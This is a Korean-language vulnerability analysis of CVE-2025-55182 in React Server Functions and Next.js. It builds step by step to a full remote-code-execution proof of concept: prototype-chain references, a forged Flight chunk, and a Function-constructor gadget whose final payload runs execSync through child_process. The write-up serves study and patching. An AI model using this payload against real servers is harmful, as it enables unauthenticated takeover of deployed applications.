
CVE-2025-55182에 대한 설명 및 전체 RCE PoC
이 취약점은 React Server Functions에서 RCE를 허용합니다. 예를 들어 Next.js에서 안전하지 않은 프로토타입 참조를 통해 제공됩니다.
저는 React나 Next.js 전문가가 아니므로, 여기의 모든 정보는 참고용으로만 받아들여 주십시오.
React는 Server Functions1을 제공하며, 이는 HTTP를 통한 RPC의 일종으로 볼 수 있습니다. 이는 지연 시간을 낮추기 위해 인접 피어에서 데이터를 가져오거나, 클라이언트에 자격 증명이 없는 인증된 요청을 수행하는 데 사용될 수 있습니다.
React는 Server Functions에 전달되는 값의 직렬화를 위해 React Flight Protocol2이라는 것을 사용합니다.
클라이언트는 예를 들어 폼 데이터를 통해 "청크(chunks)"를 서버에 전달합니다:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
보시다시피, 이들은 서로 간의 참조를 가질 수 있습니다. 위의 페이로드는 서버에서 다음과 같이 역직렬화됩니다:
{ object: 'fruit', name: 'cherry' }
형식 자체는 좀 더 복잡하며 더 복잡한 직렬화 및 역직렬화를 허용하지만, 이는 실제 취약점에 대한 기본적인 이해를 제공합니다.
이 커밋3까지는, 참조 해결 과정에서 청크를 탐색할 때,
예를 들어 위 예제의 청크 2에서 fruitName을 가져올 때,
React는 요청된 키가 실제로 객체에 설정되었는지 확인하지 않았습니다.
이로 인해 객체 프로토타입4에 접근할 수 있었습니다.
이는 다음과 같은 페이로드로 증명할 수 있습니다:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
이는 함수 생성자5로 역직렬화됩니다:
[Function: Function]
ID가 0인 청크가 배열이 아니라 객체인 경우,
then 키를 함수 생성자로 설정할 수 있습니다. 그러면 객체는
decodeReplyFromBusboy 함수에 의해 반환되고 Next.js에 의해 await됩니다:
// action-handler.ts:888 (패치 전)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
이것이 thenable을 반환하면, 호출자의 await가 이를 호출합니다.
이것이 다음 페이로드에서 발생하는 일입니다:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
다음과 같은 오류가 발생합니다:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
V8이 await된 함수를 내부 resolve 및 reject 함수와 함께 호출하고,
이 함수들이 toString될 때 다음과 같이 직렬화되기 때문에 이와 같은 오류가 발생합니다:
function () { [native code] }
Function 생성자를 쉽게 얻을 수 있으므로, 간단한 방법은
사용자가 제어하는 값(즉, 함수의 코드를 문자열로)으로 생성자를 호출하고,
나중에 반환된 함수를 호출하는 호출 가젯(call gadget)을 찾는 것입니다.
함수 생성자를 호출할 수 있는 여러 위치가 있습니다.
예를 들어 resolveServerReference에서 id는 제어 가능한 객체이며,
lastIndexOf는 사용자가 제어하는 문자열(예: Array.prototype.join을 통해)을 반환하도록 덮어쓸 수 있고,
slice는 함수 생성자로 덮어쓸 수 있습니다. 그러나 이 위치는 작동하지 않습니다.
.slice()의 두 번째 호출이 첫 번째 인수로 숫자를 제공하기 때문인데,
제가 아는 한 이는 함수 생성자가 처리할 수 없습니다.
여기서 maple31426의 훌륭한 아이디어가 등장합니다. getChunk가
ID 0의 청크를 참조 체인 해결을 시작하는 루트 참조로 가져올 때,
이 동일한 청크가 조작된 "가짜 청크"로 해석될 수 있습니다.
$@ 구문을 사용하여 청크 1에서 조작된 청크 0을 참조할 수 있습니다.
이는 "원시" 청크를 반환하며, 해결된 값이 아닙니다:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
위의 then 덮어쓰기와 결합하여 다음과 같은 것을 만들 수 있습니다:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
여기서 청크 0은 자신의 .then()을 자신의 원시 청크 표현의 .then()으로 덮어씁니다.
간단히 말해, 우리는 자신의 .then()을 Chunk.prototype.then으로 덮어씁니다.
이는 존재하는데, Chunk가 thenable이기 때문입니다:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
위 페이로드로, Chunk.prototype.then은 결국 ID 0의 조작된 청크와 함께 호출됩니다.
위에 표시된 대로, 가짜 청크의 .status가 resolved_model일 때:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk에 진입하게 됩니다. 여기서 .value는 JSON으로 파싱된 다음,
반환된 객체에 대해 참조가 해결되며, ID 0과 1의 청크의 "외부" 컨텍스트를 사용합니다:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
이 내부에서, 이제 외부 컨텍스트가 이미 해결되어 있어 우리가 접근할 수 있는 약간 더 많은 값들을 가지고 두 번째 평가 패스를 얻습니다.
Flight 프로토콜에서 $B 접두사가 있는 blob 데이터 처리에 호출 가젯이 있습니다:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
특수 _response 필드를 사용하여, 우리는 조작된 청크의 response 속성을 제어합니다:
// initializeModelChunk 내부
value = reviveModel(chunk._response, // ...
이를 통해 가짜 ._formData 및 ._prefix 속성을 가진 객체를 만들 수 있습니다:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason은 initializeModelChunk의 toString 호출에서 실패하는 것을
우회하기 위해 추가해야 합니다:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData를 함수 생성자로, ._prefix를 우리 코드로 가리킴으로써,
blob 역직렬화에서 함수 생성자에 대한 호출 가젯을 얻습니다:
response._formData.get(response._prefix + "0")
// 다음이 됨
Function("return foo; // 0")
그러면 우리가 만든 함수가 parseModelString에 의해 조작된 청크의 .then() 메서드로 반환되며,
이 또한 await됩니다. 이 모든 것이 단일 프라미스 해결 체인 내에서 일어나기 때문입니다.
따라서 thenable을 반환하면 우리가 만든 함수가 호출됩니다. 이것이 위에서 언급된
필요한 호출 가젯을 구성합니다.
이 모든 것을 실제 RCE 페이로드와 함께 종합하면 다음과 같은 것을 얻을 수 있습니다:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
이 취약점을 더욱 악화시키는 추가 점은, 이 모든 것이 역직렬화 중에 발생한다는 것입니다.
즉, 요청된 액션이 getActionModIdOrError에서 먼저 유효성 검사되기 전에 발생합니다.
따라서 Next-Action: foo와 같은 헤더를 설정하는 것만으로도 취약점을 트리거할 수 있습니다.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E